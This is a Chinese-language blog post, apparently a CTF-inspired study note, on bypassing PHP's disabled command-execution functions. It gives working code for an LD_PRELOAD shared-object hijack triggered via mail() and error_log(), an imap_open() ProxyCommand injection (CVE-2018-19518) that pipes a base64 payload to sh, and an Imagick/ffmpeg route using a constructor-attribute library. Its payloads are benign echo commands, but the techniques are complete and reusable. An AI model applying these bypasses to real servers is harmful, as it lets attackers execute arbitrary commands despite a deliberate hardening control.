0x00 前言
有時候直接執行命令的函數被ban了,那么有幾種思路可以bypass
1.使用php本身自帶的能夠調用外部程序的函數
2.使用第三方插件入(如imagick)
但是這兩種無非就是利用php去調用外部的軟件,再利用外面的軟件執行shell
0x01 LD_PRELOAD
每個程序執行的時候會去動態鏈接庫so
文件里面找函數的位置,而我們的目的是讓程序去執行我們自定義的動態鏈接庫
LD_PRELOAD
這個全局變量指定的so
文件會在每個程序本身的so文件之前加載
export #查看當前有的全局變量
export LD_PRELOAD=./test.so #將當前目錄下的test.so文件加載到每個程序的動態鏈接庫最前面
一個程序執行了哪些函數,可以使用
readelf -s /usr/bin/id
readelf -s /usr/sbin/sendmail
比如id中使用了getuid
20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (2)
那么編寫個so
文件
test2.c
#include <stdlib.h>
#include <stdio.h>
int getuid(){
if(getenv("LD_PRELOAD") == NULL){
return 0;
}
unsetenv("LD_PRELOAD");
system("echo 'hello' >hello.txt");
}
編譯生成so
文件
gcc -c -fPIC test2.c -o test2
gcc --share test2 -o test2.so
設置環境變量
export LD_PRELOAD=./test2.so
在php中如果把so
文件傳上去了后,可以利用putevn
函數來設置全局變量
0x02 php本身能夠執行外部程序的函數
能夠觸發外部命令的函數有mail()
,error_log()
,這2個函數都是會調用sendmail
命令,這個sendmail
軟件是linux下用來發送郵件的(如果沒有可用使用apt-get install sendmail
安裝)
<?php
putevn("LD_PRELOAD=./test2.so");
mail("","","","");
//error_log("err",1,"","");
?>
假設沒有sendmail
,我新裝的ubuntu
就沒有默認安裝,那么php還有個的函數是2018年底爆出的一個CVE漏洞CVE-2018-19518
的imap_open()
函數
我也不知道這是不是php的鍋,這個函數它是用來發送郵件的,它使用的是rsh連接遠程的shell,但是在ubuntu
和debain
下,它是使用的ssh
而ssh的-oProxyCommand
參數能夠帶命令的,比如
ssh -oProxyCommand="touch test.txt" 10.10.10.10
即使連接失敗,本地也會創建個test.txt
文件
那么php中的寫法
<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
?>
這里直借用參考文章的poc
了,因為我本地不知道是不是php是最新的原因,報錯說找不到imap_open這個函數
0x03使用擴展插件
這里不得不提下ImageMagick
了,這個圖片處理的插件歷史版本有很多漏洞,也有getshell的漏洞,但是這里介紹的是通過它調用外部的軟件ffmpeg
,也是通過so
文件來達到命令執行的,至於環境如何搭建可以上網查查
當ImageMagick
處理以下文件的時候會調用ffmpeg
(文件必須存在)
wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp
查看了ffmpeg
的函數表,沒有getuid,因為對C語言我又是個智障狀態,所以也不知道其他函數什么返回值,什么參數,重寫要注意些啥,這里就講個能通用的辦法
之前使用sendmail
的時候是找的其中的一個函數getuid
,因為軟件執行的時候會去調用這個函數,那么我們目的是為了找到一個所有C程序都會去執行,並且都有的'函數'
,這個就是__attribute__((__constructor__))
這個函數會所有程序在啟動main之前100%調用,因此so
文件的寫法
test3.c
#include <stdlib.h>
#include <stdio.h>
__attribute__((__constructor__)) void angel(void){
unsetenv("LD_PRELOAD");
system("echo 'hello'");
}
在php中執行方法
<?php
$img = Imagick("1.mp4");
?>
0xff結語
本來0ctf之后就會研究這個問題的,不知道為什么拖到現在,也算是填了個坑
參考鏈接: